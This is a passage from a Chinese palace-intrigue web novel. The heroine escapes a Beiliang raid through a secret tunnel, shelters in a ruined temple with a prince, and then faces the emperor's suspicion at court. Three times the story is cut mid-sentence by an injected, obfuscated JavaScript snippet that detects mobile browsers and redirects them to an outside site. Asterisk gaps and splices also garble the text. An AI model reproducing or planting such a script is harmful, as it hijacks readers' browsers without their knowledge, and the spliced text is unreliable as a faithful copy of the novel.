他现在不在宫中,惠帝又自信他在国公府中一举一动都会遭到岐国公和惠贞长公主的监视,反倒使他自由许多。 毕竟当初巫蛊案一事,是惠帝和岐国公、惠贞长公主夫妻君臣异志,姐弟离心。 而他,却是被国公府接纳了。 现在想来,简直是天赐良机。 “无妨,反正夜还长。我睡到午后才起,这会左右也睡不着。”元韫浓挑眉,“你要黑子还是白子。” “尊者执棋白子,黑子先行。”裴令仪笑了笑,“还是让阿姊执白子。” 元韫浓不置可否。 厮杀几回合,未见强弱。 “棋艺见长。”元韫浓由衷地感叹裴令仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴令仪低声道:“府中护卫的脚步声乱了。” “东面有打斗声。”他迅速判断,“西面也有,有人要包抄进来……北凉人?” 北凉人的走路方式,还有他们士兵的靴子是不一样的。 “北凉人?”元韫浓眸光冷下来。 元蕴英走前派人加守,国公府在京城中的府邸里可谓是固若金汤了。 外头没有任何消息,说明国公府可能是他们最前头的几个目标之一。 北凉人悄无声息地打进来,只能是府里出来奸细,是细作还是有人反水了? 但这会也顾不了那么多了。 要是从外攻进来,她还来得及调遣元氏部曲,可这都要打到眼前来了,只能先保命了。 不远处传来一声惨叫,火光逼近,喊杀声四起。 裴令仪一把拉住元韫浓的手腕,“快走!” “去书房!”元韫浓说道。 刚近书房,一支箭矢破空而来。 裴令仪眼疾手快,一把将元韫浓拉到怀中,反手甩出一枚铜钱,将箭矢击偏。 元韫浓愣了愣,裴令仪现在都到这种水平了吗? “阿姊……”裴令仪刚要开口。 “闭嘴。”元韫浓打断他,“跟紧我。” “他们在那里!”有人发现了他们,高声喊道。 元韫浓抓着裴令仪冲进岐国公的书房,快速拨动机关,“走密道。” 又一支箭矢穿透窗户,紧接着数十支箭矢破窗。 裴令仪手上没有兵器,情急之下猛地推开元韫浓,自己却被箭矢射中肩膀。 “清都!”元韫浓惊叫道。 裴令仪肩上赫然插着那支羽箭,箭头没入,箭尾还在微微颤动。 他的身体晃了晃,鲜血从伤口不断涌出,洇红了衣衫。 “走!”裴令仪咬牙道。 他抬脚踢翻书架,书架倒在门上。 元韫浓不再犹豫,拉着裴令仪钻进密道,密道门在身后轰然关闭,将追兵隔绝在外。 第39章 破庙 密道内一片漆黑,一进密道,裴令仪就一个踉跄。 元韫浓连忙扶住他,“怎么样了?” 她都能嗅到血腥气,和裴令仪轻微的颤抖。 “抱歉啊,阿姊,连累你了。”裴令仪靠在元韫浓身上,轻声道。 元韫浓皱眉,“说什么傻话?” 裴令仪是因为推开她才会中箭的。 “还撑得住吗?”元韫浓问。 “没事的,阿姊不必挂怀我,走便是了。”裴令仪道。 “坚持一下。”元韫浓扶着他继续前行,“这条密道很长,直通城外,父亲留着以防不时之需。” 其实是为了保命用的,几次想过是不是该毁掉这密道,毕竟留着风险也很大。 要是被发现了,不得被多疑的惠帝发落。 更何况既然能通城外郊野,那郊外也能有人靠这条密道潜入国公府。 “中间有十八个岔路,只有两条路是通的。其余的不是死路,就是机关。”元韫浓说。 密道中回荡着两人的脚步声和萧煜沉重的呼吸声。 裴令仪微弱地轻笑一声:“阿姊怎么什么都和我说?要是我以后借此来伤害阿姊怎么办?” 元韫浓头都没有转一下,“你试试看。” 裴令仪的脚步愈发沉重了起来,血腥气一直萦绕在元韫浓鼻尖。 这条路太长了,长到后面元韫浓的气息也重了起来。 他们一个受伤,一个体弱。 到了再后面,都分不清是谁在支撑谁了。 “若我撑不住了,阿姊就直接走……”裴令仪用气音说道。 元韫浓喘着气,“别乱说,坚持一下,很快就到出口了。” 开玩笑,这时候丢下裴令仪不是前功尽弃吗? 她怎么也得保下裴令仪才行,不然之前所做的一切努力都白费了。 国公府都这样了,宫里还不知道是怎么样一个情形,也不知道慕湖舟那边的情况是什么样的。 万一慕湖舟已经出事了,她能指望的就只有裴令仪。 不然慕载物登基,他们元氏才叫完了。 就算慕湖舟还活着,将希望寄托于慕湖舟一人也太危险了。 “嗯,我会撑到阿姊出去的。”裴令仪低柔地说道。 两个人相互扶持着,直到走出密道。 一出密道,裴令仪就敏锐地觉察到了不对。 他当机立断,“阿姊,快……” 他的话被一道擦着他耳畔掠过的箭矢打断。 裴令仪的神情阴沉下来,看向发箭的方向。 一群北凉人似乎是已经在此处守株待兔很久了,从附近的灌木丛里乃至树上跳出来,一点点逼近。 为首的北凉人狞笑着看着两人:“这么晚了要去哪里啊?二位贵人。” 元韫浓挡在裴令仪身前,“让他走,他只是个奴仆,自幼被元府捡来的弃子。” “这里没有弃子。”一个北凉女人站到了为首的北凉人身边,“你们南人曾经屠戮我们多少弟兄?无论是之前姓裴的,还是如今姓慕的。” 她看向元韫浓,“你是朝荣郡主,慕南的血脉。” 她又转向了裴令仪,“而他,裴雍一氏最后的血亲。” “以血,还血。”女人脸上划拉开一个诡异的笑容。 元韫浓心中一沉,握紧了袖中防身的**。 裴令仪却轻轻按住了她的手,低声道:“阿姊,你先走。” 元韫浓惊异地看着他,“你伤成这样,留下来怎么办?” 裴令仪知道自己该用什么理由说服元韫浓:“只有阿姊活着,才能调动部曲反戈一击。要是我的话,没办法调遣部曲的,他们不会听我的。再不走,就得两个人都留下来了。” 元韫浓的神色果然出现了动摇。 “阿姊,相信我。”裴令仪拿走了元韫浓手里的**。 他苍白的脸上还有星点鲜红的血迹,眼眸漆黑,衬得愈发妖异。 “抓住他们!”为首的北凉人喊道。 裴令仪一把推开元韫浓:“走!” 这像是一个信号一样,那群北凉人一拥而上。 元韫浓被他推得踉跄着后退了两步,眼看着裴令仪孑然的身影拦在自己面前。 元韫浓咬紧牙关,转身冲入密道。 裴令仪拦在密道前,一脚踹上了密道的门。 北凉人勃然大怒:“不能放走那个小娘们!她一定会去搬救兵的!” 元韫浓拼尽全力地奔跑。 她不敢想裴令仪的结果,只能不停地跑,哪怕直到精疲力尽。 终于,她看到了密道的出口。 她感觉到了喉口涌上来的铁锈味,肺腑都像是被挤压了一样,每一次喘息都艰难而痛苦。 浑身上下的气力都被抽干了,元韫浓跌跌撞撞地爬出去。 京城外郊野的另一处,阴暗的天边已经下起来蒙蒙细雨,雨丝连绵起伏。 元韫浓踉跄着跑了两步,靠在一棵树上,狠狠地喘了两口气。 “裴清都,你可一定要活着来见我。”她轻声呢喃道。 元韫浓扶着树干,继续在密林中艰难前行,雨水打湿了她的衣衫,寒意侵入骨髓。 她的身躯在雨水中摇摇欲坠,只能咬紧牙关,强撑着昏沉的意志,强迫自己继续前进。 直到她看到前方有一座破败的庙宇,才踉跄着走进庙中。 破庙里早已经有火光扑颠,里面已经有人占据了这个位置。 “是谁?”一个低沉的声音警惕地响起。 元韫浓借着扑簌不定的火光,看清了那人的面容。 是慕湖舟,他的一身华服沾了尘土,有些破损,身上还有几道血痕。 是友非敌。 元韫浓这才松了一口气,紧绷的精神总算是松懈下来。 “表哥……”元韫浓虚弱地唤了一声。 慕湖舟猛地站了起来,“浓浓?” 他快步上前扶住摇摇欲坠的元韫浓,“你怎么在这里?国公府也……” “国公府也有人……”元韫浓靠在他怀里,话还没说完,便眼前一黑,倒了下去。 “浓浓!”慕湖舟失声惊呼。 等到元韫浓再次醒来时,发现自己被安置在干草堆上,身上盖着慕湖舟的外袍。 她的嗓子干涩得发疼,头昏脑涨,一阵晕眩一阵隐痛。 篝火旁,慕湖舟正在煮着什么。 见元韫浓醒过来,慕湖舟端来一碗热气腾腾的汤水,坐到元韫浓身边,“可算是醒了,可吓坏了我,怕还是受了惊吓又风吹雨淋,跑了这一路给累坏了,病倒了。” 慕湖舟扶着元韫浓坐起来,“我煮了一些野菌和野菜,没有调味品,先将就着喝一下吧。” 他顿了顿,笑着道:“放心,我认得出这些野菌和野菜,没有毒的。碗是庙里供台上的,我仔细洗过了,干净的。” 元韫浓靠在他半边身子上,接过汤碗,小口啜饮。 她注意到慕湖舟的手上有几处擦伤。 显然这位养尊处优的皇子殿下,也是头一回干这种伺候人的活,并不熟练,甚至于是生疏。 暖胃的汤水虽然寡淡,但是下肚之后总算是好了一些。 “好难喝。”她皱着脸朝慕湖舟撒气,“一点味道都没有。” 生病了总会这样,元韫浓习惯向亲近的人肆无忌惮地发泄情绪。 裴令仪哄她吃药时最甚,元韫浓能摔坏好几只碗,叫裴令仪来回重新煎好几回药。 只是裴令仪每回都毫无怨言,任劳任怨地耐心哄着她,甚至会顺从地亲自去跑大半个京城去近水楼台带蜜饯和鲜鲫芹菜羹回来。 裴令仪不会生气,但慕湖舟不一定不会。 元韫浓反应过来,看向慕湖舟。 慕湖舟也没气,笑着塞了几颗洗干净的野浆果给元韫浓,“是委屈了浓浓,先吃几颗浆果吧,等到回了京城,想吃什么便吃什么。” “你若是喜欢,不管是醉仙楼还是近水楼台,我都给你定下来。”慕湖舟一本正经地说着,又笑了一下,“就算是要天上的星星也好。” 心不甘情不愿地嚼着那总算是有些味道,但酸大过于甜的浆果,元韫浓望着慕湖舟,也有片刻动容。 元韫浓皱着鼻子说:“这可是表哥自己说的。” “嗯,我说的。”慕湖舟神情柔和。 元韫浓哑着嗓子诉说发生的经过。 慕湖舟听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476463|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头紧锁,“这就麻烦了,宫中和国公府都发生此等事情。” 看来慕湖舟的遭遇也和她相近。元韫浓面色凝重,这么说来,北凉人渗入的比她想象之中还要更深。 慕湖舟说道:“宫中有人勾结北凉,我遭人暗算,不得不逃出来。” 元韫浓叹息:“宫中和国公府上的内应,必然是一个位高权重,一个极其得我父亲看重。” “能让北凉人守在密道之外,知道密道存在还有通道出口的,怕不是什么被姑父看重那么简单了。”慕湖舟苦笑。 “只是清都……”元韫浓攥紧了掌心。 慕湖舟安慰道:“清河王机敏过人,必然会随机应变,安然无恙。” 元韫浓闭上了眼睛,“但愿如此。” 她抬眸看向慕湖舟,“当务之急,是联系上可信之人。” 慕湖舟沉默片刻,“我有一只夜枭,可以传信。” “表哥若信得过我,便召来夜枭,借我一用。”元韫浓缓缓说道,“我手中有元氏兵符,可以调动家族部曲。传信给小满,那只夜枭做得到吗?” “可以。”慕湖舟点头,“只要有相关之物有那人气息,又在京城之内,它便能找到,只是不熟悉之人时间需得长些。” 元韫浓松了口气,“那便好,有小满调动元氏部曲,通知我兄姐,有禁军和南营军相助,表哥很快就能回宫主持大局。” 两人陷入短暂的沉默,只有篝火噼啪作响。 他们都意识到,这或许是祸患,但也是机遇。 慕湖舟有这个理由和借口,可以顺理成章地主持大局,安排群臣。 收买人心,立威扬名的大好时候。 事不宜迟,慕湖舟立即召唤来夜枭,撕下一片衣袂给元韫浓。 没有笔墨,慕湖舟折了树枝给元韫浓当成笔,掰开野浆果碾压出汁水作笔墨。 元韫浓飞速写下了大致事情经过,令小满速速至京城外郊野破庙之中来寻她。 元韫浓忧心夜枭会被人射杀,截下虎符,所以并没有将虎符交由夜枭。 至于密令若是被截下,恐怕就会失去这暂且的安身之所,惹来杀身之祸。 元韫浓提醒慕湖舟准备好时刻跑路,之后便暂且在庙中等候。 荒郊野外,这处破庙也算是一个能够遮风挡雨的庇护所。 夜深人静,元韫浓本就精神紧绷,又前不久经历了那么多事情,跑了那么久,如今还病了,很快就昏沉睡了过去。 慕湖舟在旁守着元韫浓,时不时拨动一下篝火的柴木。 若是事发突变,有人追来了,他们不能两个人都睡过去,总得有一人是清醒的。 慕湖舟发觉元韫浓在睡中并不安稳,眉头紧锁。 “表哥……”元韫浓喃喃道。 慕湖舟心中一颤。 “我在这里,浓浓。”他轻声说着,握紧了元韫浓的手。 他看着元韫浓安睡的容颜,百感交集。 “表哥!”元韫浓猛地睁开双眼,似乎是从噩梦中惊醒般。 “怎么了?”慕湖舟被她惊了一下,安抚地摸了摸她的鬓角,“没事的,没有人来。” 元韫浓长舒了一口气,她梦见前世的场景。 她没亲眼见证慕湖舟的死亡,也不知道慕湖舟到底是怎么个死法,死时候痛不痛苦。 裴令仪既然登基,靠着一路杀过来,慕湖舟这个东宫储备自然不会被轻饶。 裴令仪跟她争执时候,亲口告诉的她,惠帝一脉上下,除了慕水妃之外,一个不留。 元韫浓惊怒交加地质问慕湖舟,慕湖舟并未有所苛待他,他又何苦赶尽杀绝? 裴令仪却冷笑着问她,若换了位置,她难道会放过慕湖舟? 卧榻之侧,岂容他人鼾睡? 要怪就怪慕湖舟留着慕南一脉的血,怪慕湖舟险些是储君。 元韫浓想,这一世至少保下慕湖舟的命。 “没事了,我知道。”元韫浓看慕湖舟就坐在自己旁边,“怎么还不睡?” 慕湖舟动作轻柔地擦去她额头的冷汗,“我怕你又做噩梦。” 元韫浓露出笑:“有表哥在,我不会再做噩梦的。” 第40章 许来生 慕湖舟轻叹一声:“放心睡吧,我守在你旁边。” “好啊,那我是连上天揽月,下洋捉鳖都敢了。”元韫浓玩笑。 “狭促鬼。”慕湖舟点了一下她的额头,“那好啊,我为你保驾护航。” 元韫浓弯着眼睛,“那该是我为你保驾护航才对,我保证储君之位是表哥的。” 这是元韫浓头一回在慕湖舟面前直白地透露出自己的野望和手段。 这分明该颠覆慕湖舟从前以往对元韫浓的印象,那些柔弱可怜都不是真的。 可偏偏慕湖舟先入为主地觉得元韫浓令人怜惜。 元韫浓多为自己筹谋一些,那也是应该的。 慕湖舟看着她苍白的脸色,极轻地叹息一声:“浓浓,你有想过吗?” “什么?”元韫浓一愣。 “来日。”慕湖舟说,“你我的来日。” 元韫浓垂下眼帘,“来日……对我们这样的人来说,太过奢侈了。” “再说了。”她又露出一样无懈可击的笑,“我不是也在谋算来日吗?我一直都在为自己,为家族,为你筹算来日啊。” 慕湖舟轻轻应了一声:“我来算来日吧,我来为你,来为你的家人,来为元氏,筹谋来日。” 元韫浓抬头,对上他尤为炙热的目光,一时无言。 片刻之后,她好像从未有所变化,笑容依旧:“好啊。” 慕湖舟无法辨别出元韫浓是否信任他,相信他的承诺。 “浓浓若是不相信,那我们便在这里求来生吧。若是今生不能,来生我来谋来日。”他半开玩笑地说。 如果、如果今生不能,那么以求来生。 他也知道自己无法给元韫浓肯定,即使是给了肯定的答案,元韫浓也不一定会信。 他怕最后不能,也不行,所以想要求一个来生。 元韫浓没有拒绝。 如果慕湖舟想要一个念想,求一个虚妄的来生,她也不是不可以满足慕湖舟。 反正她既不信来世,也不信神佛。 今生不要再有遗憾了,她希望想要的都能得到。 破庙年久失修,空无一人,佛像的金身早已蒙尘斑驳,露出里面生锈的、铁铸的里子。 两人就在这样斑驳的佛像前,各自许下了心愿。 慕湖舟许愿来生,元韫浓许愿今生。 庙内静悄悄的,悄然无声。 “郡主!”小满犹如一只夜枭般从破庙破漏的屋顶上一跃而下。 她的手臂上正停着那一只夜枭。 “郡主,你没事吧?有没有伤着?”小满急切地上下打量元韫浓。 元韫浓摇头,“没事。” 小满松了口气。 “情况怎么样?”元韫浓凝重地问道。 小满瞥了一眼慕湖舟,又看向元韫浓,等到元韫浓点头之后,才说:“宫内和国公府的情况暂且被把控住了,京城之内仍存在混乱。” “郡主,世子和三娘正在四处寻您,都快找疯了。”小满禀报,“禁军和南营军联合控制了局面,大方向上已经安全了。” 元韫浓稍稍松了口气,“清都呢?有他的消息吗?” 小满说:“五郎中了箭,三娘带兵来支援的时候发现密道被开了,顺着路线追过来,刚好把人救下,没有性命之忧,只是受了伤。” 元韫浓点头,“那便好,阿兄和三娘知道这件事情了吗?” “都知道了,我先赶过来的,世子和三娘马上就到。”小满犹豫了一下,说道。 她没说元彻回发现元韫浓失散之后,将事情完全迁怒于裴令仪。 当时元蕴英正派人搜寻郊外那一片地方,搜查元韫浓的踪迹,却毫无所获。 元彻回得知消息之后带了一队人马过来,上来就拿剑架在裴令仪脖子上,怒不可遏,“我妹妹失踪了,你却还活着?” 元蕴英吓了一跳,连忙上去阻拦震怒的兄长,“二兄,这事和他没关系!” “北凉人堵在密道口,五郎拦在密道口前让应怜先走的,应怜应该是从另一个密道口走了。”元蕴英急声说道,“他还替应怜挡了一箭,难道你要应怜回来以后怨怪你吗?” 元彻回紧盯着裴令仪苍白却淡然的脸庞,最后恨恨地收回了剑。 “若是应怜没出事,我该谢你。但若是她出了什么事,我就把这件事情归咎于你,明白了吗?”他神情森冷。 裴令仪与他对视,眼睛古井无波。 “要是应怜有什么三长两短,她平时最喜欢你,你便也去陪她吧。”元彻回冷声道。 “不必世子多言。”裴令仪垂下眼睛。 近乎平静的,他说道:“若是阿姊真**,我为她陪葬。” 元彻回冷哼一声。 小满觉得,这样的事她还是不要告诉元韫浓比较好。 这样的不足挂齿的小事,不必让元韫浓费心。 “应怜!”一声急切的呼喊。 元韫浓回头,看到元彻回和元蕴英策马向她奔来。 元彻回翻身下马,大步朝着元韫浓走来,将人揽入怀中,上下查看元韫浓的情况,“可有什么伤到的地方?” “我没有伤到。”元韫浓摇头。 还没来得及再说什么,就被元彻回紧紧抱住。 “没事就好,没事就好了……”他的声音有些沙哑。 “你这丫头,吓**了,就在那乱跑!你再等上一会,我就到那了。”元蕴英眼眶都红了。 她还以为元韫浓这小身板,没跑两步就被追上杀掉呢。 二人向一旁的慕湖舟颔首低眉,“三皇子。” “阿姊!”一道身影从旁边一闪而过,握住了元韫浓的手腕。 裴令仪眸光流淌盈盈闪烁,犹如蒙了一层水光般。 “伤怎么样了?”元韫浓的视线扫过裴令仪的肩膀,关切道。 她暗自长舒了一口气,还好,还好裴令仪没事。 裴令仪摇头,软声说道:“不疼了,阿姊,伤早就包扎好了。” 元韫浓还没来得及回答什么,慕湖舟就不紧不慢地说道:“浓浓早已经及笄,再过小几年,清河王也要弱冠之年了。” 裴令仪看向慕湖舟,扯动嘴角,“三殿下是什么意思?” “本宫的意思是,清河王既然已经明事理,男女授受不亲的道理也该明白。虽然是名义上的义姐义弟,但也该知道分寸了。”慕湖舟说道。 裴令仪眼中闪过一丝狠厉,漂亮的面皮上挂着笑,笑意却并不达眼底,“三殿下,既然这么说,也应该明白这是我和阿姊的事。” 元韫浓看着莫名剑拔**张的两人,轻咳一声:“清都,三皇子面前,怎么说话呢?” “抱歉。”裴令仪看似诚恳地道歉。 他弯着眼睛笑,语气柔和:“我只是开个玩笑,失了礼数,三皇子不会介意的吧?” “不会。”慕湖舟扯了一下嘴角。 元彻回说道:“我们还是尽快回京中吧,此回北凉之人祸,怕是处处埋下隐患。” “城中那些北凉人没有肃清,怕是后患无穷。”元蕴英点头。 元韫浓看向慕湖舟,笑了笑,“湖舟,回去主持大局吧。” “好。”慕湖舟和她相视而笑。 裴令仪惊觉元韫浓对慕湖舟的称呼改变了,他们之间的氛围也似乎不同寻常。 他暗自攥紧了拳头,指骨节捏得发白。 慕湖舟凭什么?就因为他能带给元氏百年荣华富贵,能给元韫浓帝后之位。 换了他来,他也可以。 裴令仪扯动嘴角,牵强地扯出笑容,“阿姊,正事要紧。” “我明白。”元韫浓点头。 她转向元彻回和元蕴英,“查明了他们的内应是谁吗?” 元蕴英拧眉,“宫内的内应尚未可知,不过府上的查出来了,正是我们的好七叔。” “那个蠢货,还真信了北凉人诓骗他的假话,信以为真,觉得北凉人当了皇帝,他就能升官发财。”元彻回轻嗤一声,“若非是父亲念在他年纪轻,对他多有照顾,哄得**天高地厚,他也不至于蠢到这一步。” 元韫浓眉心一跳,其他人坏得绞尽脑汁,都还比不上她这蠢货七叔的灵机一动,来还得元氏遭此大灾。 “那他人呢?”元韫浓问。 “早宰了。”元蕴英道,“先斩后奏,族老们若是追责,拿我脑袋赔他去啊。” 很好,这很元蕴英了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476464|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元韫浓点头。 “先回去吧。”慕湖舟道。 几人应声。 元彻回稍慢一步,落后跟在后边低着头,不知道在想什么的裴令仪说:“你救了我的妹妹。” 裴令仪看向元彻回。 “就像我刚才说的,我该谢谢你。”元彻回说道,“我欠你一条命。” “不必多谢,我救阿姊,也是出于自己的想法,不是为了别的什么。”裴令仪冷淡道。 元彻回冷笑一声:“我依旧讨厌你,这条命我记下了,我会还给你。” “不必。”裴令仪径直掠过元彻回身侧,追随上元韫浓的脚步。 回京之后,一切计划都才进行得出奇顺利。 元彻回率兵在京华城内追查北凉人行踪,保护官邸。 元蕴英从西门包抄,慕湖舟号召京畿驻军则直取皇宫。 元氏部曲镇守在国公府周围。 有了周密部署,原本就只是试探性作乱却意外取得重大成果的北凉人节节败退。 宫内一切安好,取胜的烟花绽放在夜空之际,得知信息的元韫浓才松了口气。 此役之后,才怕是后患无穷。 元韫浓轻叹一声。 裴令仪为元韫浓斟茶,橙黄晶莹,透彻纯亮的茶汤流淌入白瓷杯中,“阿姊是在为此事忧心吗?” “这回不知道埋下了多少隐患。”元韫浓低眸看着茶杯里如薄雾黄昏的茶水。 “阿姊觉得,我们的好陛下这回会下定决心,杀回去吗?”裴令仪问。 元韫浓幽幽道:“板子不打在自己身上,是不知道疼的。这回他若是在京中,南朝就要易主了,他自然会下定决心。” 裴令仪笑了一声:“不得不说,他让虽然昏庸又无能,但是对危机却有本能的规避直觉呢,觉察到一些风吹草动,就立即跑了。” “可不是嘛。”元韫浓抿了一口茶水,“你可等着瞧吧,我们元氏替他守住了这江山,他还要猜疑我们呢。” 她不冷不**将茶杯递给裴令仪,裴令仪接过来,捧在掌心里。 他的指腹沿着元韫浓方才唇齿碰到过的杯沿,一点一点缓慢地摩挲着。 元韫浓没注意到,只是道:“我父亲这忠臣做惯了,虽不是愚忠,但一时半会也拗不过来。等他回来,还要被惠帝猜疑,不知道得有多伤心。” 这才是她发愁的地方。 岐国公先前一直都是保皇派,这思维怕是一时半会也难以逆转过来。 再被伤了心,也不会想到改朝换代上面去,更不会想到谋反,顶多是力挺慕湖舟上位了。 她的兄姐倒是好上一点,但也不会是想着改朝换代的人。 就算是谋反,也只会托着慕湖舟去。 他们元氏,决心有余,狠心不足,稍欠锋锐。 偏偏族中并没有能够承担起这个先锋的角色,以她的身体情况和身份,也断无可能做这个角色。 难道到了这个节骨眼上再从旁人那里找吗? 不,风险太大了,她也信不过。 还是说靠姻亲吗?但是…… 元韫浓越想,眉头愈发紧锁。 “阿姊。”裴令仪轻声唤道。 元韫浓看向他,眼前的少年眼眸向下垂落,密长的眼睫遮住了眼底的情绪。 他弯了弯唇,“想必阿姊也在为来日发愁吧,我一想到陛下如今还想要取我性命,我便害怕呢。” 裴令仪的眼尾微红,瞧着惹人怜惜。 “薄命谁怜倾国色,受风偏是最高枝。”他说道,“国公府如今是众矢之的。” 红颜薄命,有谁去怜悯倾国倾城之色。 居高招风,受摧残的首先是最高的树枝。 元韫浓闭了闭眼,这是真理。 “你怕什么?”元韫浓抬眼瞥了他一眼,莹白胜雪的手轻抬,在半空中虚虚地点了他一下。 纤细而修长的手,连指尖都泛着柔和的粉光,撩人心弦,似在编织一场绮丽的梦。 “有我在一日,有这元氏在一日,便不会这么叫你轻易命丧黄泉的。”元韫浓说。 只要裴令仪不上赶着去送死,但凡岐国公府没有大难临头,裴令仪就不会出事。 裴令仪低笑。 第41章 北伐之事 正如元韫浓和裴令仪所言那样,岐国公和惠帝几乎前后脚回朝。 岐国公甚至没有来得及回府,就匆匆忙忙上朝去述职了。 令人意外的是,惠帝连着岐国公府一家老小都召入宫内,召见上朝了,包括裴令仪在内。 因为元韫浓和裴令仪本不该出现在朝上,在殿外侯着。 元韫浓看着慕湖舟和父亲母亲、兄姐率先入内。 惠帝回京这件事情本就让元韫浓不爽,偏偏后头来的人还是个更令人瞧不上的。 五皇子慕载物负手走来,笑容张扬,“这不是我们大名鼎鼎的朝荣郡主、元四小姐——元韫浓吗?” “怎么?和我那好三哥玩腻了,找这个一无是处的清河王解解闷?”他走近了,明目张胆地挑衅道。 旁边路过的一众臣子对这两家积怨已久之事心知肚明,不欲在这上朝的节骨眼上多生事端。 接二连三地低头装作什么都不知道,步履匆匆地入殿内。 裴令仪压低了眉目,流露出一丝阴鸷。 元韫浓却神色如常,淡淡地说:“五殿下说笑了。” 慕载物再走近几步,目光在元韫浓身上肆意打量,“我再仔细一瞧,原来是方才的话说早了,该打。” 元韫浓不觉得慕载物接下来会说出什么好话来,毕竟狗嘴里吐不出**。 唉,天杀的,她真的不能往慕载物的吃食里下点药吗? 最好把人毒哑巴了,这下慕湖舟就一定能登基了,她也不用在这里听慕载物狺狺狂吠了。 元韫浓遗憾地想,可惜不能。 这样太明显了,无论是她自己还是慕湖舟,都一定会被怀疑的。 果然,慕载物没吐出**来:“表妹生得韶秀,难怪三哥对你念念不忘。” “我怎么能说表妹找清河王消遣?原来是表妹是《西厢记》的莺莺小姐,清河王是那小红娘呢!哈哈哈哈哈哈!”他大笑起来。 裴令仪的脸色已经相当难看了。 元韫浓不怀疑慕载物但凡是能**的,早就被裴令仪大卸八块了。 毕竟西厢记都拿出来了,明晃晃说元韫浓是崔莺莺和慕湖舟暗通款曲,中间总拿裴令仪这个名义上的义弟做幌子。 红娘是崔莺莺的贴身侍女。 慕载物此言不仅仅是在讽刺元韫浓跟慕湖舟陈仓暗道,裴令仪暗中协助,还暗讽裴令仪现在跟元韫浓的侍女无异。 元韫浓懒得搭理自己把自己说高兴了的慕载物,拉过了裴令仪。 她皮笑肉不笑,“有些话可不能乱说,五殿下若是无事,就请进殿吧。” 慕载物却不依不饶,“别这么冷淡嘛,我可是听说了……” “五皇子,请自重。”裴令仪语气森然。 慕载物眯起眼睛:“哦?一条寄人篱下的丧家之犬,也敢对本宫无礼?” 裴令仪面无表情。 “裴清都,你该不会是真把自己当元家人了吧?”慕载物冷嘲热讽。 元韫浓冷声说:“五皇子,你说话也得注意这是什么场合,我父母兄姐可都是在里头呢。” 慕载物哼了一声,冷笑:“好,很好,你们给本宫等着。” 元韫浓冷然地注视着他踏入殿内,垂目静候在殿外。 等到里头有人传召,才和裴令仪一同并肩进入。 “朝荣参见陛下,陛下万福金安。”“微臣参见陛下,万岁无斁。” 二人行礼。 惠帝正高**,目光如刀般扫过殿下的群臣。 “此次京城**,不得不说……”惠帝缓缓开口,声音冰冷,“朕很失望。” 群臣噤若寒蝉,无人敢应声。 元韫浓在心底不屑一顾。 还失望呢?要不是元氏,你现在还能不能坐着这把椅子都不好使。 惠帝的目光落在岐国公身上,“元卿身为国公,虽然此次**边境**有功,但是此次留守在京城的除了驻军以外,就只剩下你的一半南营军,为何会让京城陷入如此境地?” 岐国公上前一步,恭敬地说道:“陛下,臣未能及时察觉北凉人的阴谋,请陛下责罚。” “这是国公的失职,怎能一句责罚了事?”白翩飞的父亲,东营军统领冷嘲道。 惠贞长公主柔声说道:“陛下,此次**京中只剩下半数南营军,国公又在外****。彻回、蕴英和应怜几个年岁尚浅,经验不足,能够力挽狂澜实属不易,已经尽力了。” 她看向慕湖舟,“三郎此次也算是稳定了人心,多番结合在一块,才能平定北凉之乱。” 惠帝冷笑:“是吗?那为何元爱卿不在京中,依然有人能私自动用虎符,来调遣剩下的南营军?” 元韫浓眉心一跳。 惠帝这个失心疯,又要开始了。 “朕竟是不知,这南营军竟然成为了元氏私兵啊?”惠帝阴沉道。 慕湖舟上前一步,毕恭毕敬,“父皇,此次多亏了元三小姐及时调兵,才能平定叛乱。儿臣以为,理应嘉奖。” “嘉奖?”惠帝冷冷地扫向他,“湖舟,你何时与你姑母家如此亲近了?” 慕湖舟心中一凛,面上却不露声色,“父皇明鉴,儿臣只是就事论事。” 慕载物嗤笑一声:“三哥,你这话可不对。私自动用虎符,可是大罪。再说了,这虎符是怎么到元三小姐手上去的?” 元彻回站出来,“五皇子,虎符本就是陛下御赐于家父之物,何来这一说?” 岐国公跪地,“陛下明鉴,东营军护送陛下前往行宫,臣前去边境****,要带走半数南营军。” 他言之凿凿:“京中无主又无人领兵,臣着实难以心安,这才将一半虎符交予次女,望她若真生**,能够担此大任。” 元蕴英也上前说:“陛下,当时情况紧急,来不及请示。臣女只得先行动,请陛下明鉴,元氏绝无二心。” 沈川也走了出来,“陛下,此次京华能够安然无恙,全凭三皇子和元氏一族尽心尽力。” 沈川做了探花郎之后,本应该前往翰林院。 但由于他本人的意向和请缨,再加上沈氏为世家大族,有他同样在位的父亲引荐,他同前世一样进入了大理寺。 如今已经是大理寺寺正,为六品官,可直接参与案件的审理工作。 大理寺上下对于他的评价都是前途无量。 惠帝冷冷地注视着他们,“你们倒是团结一心了。” 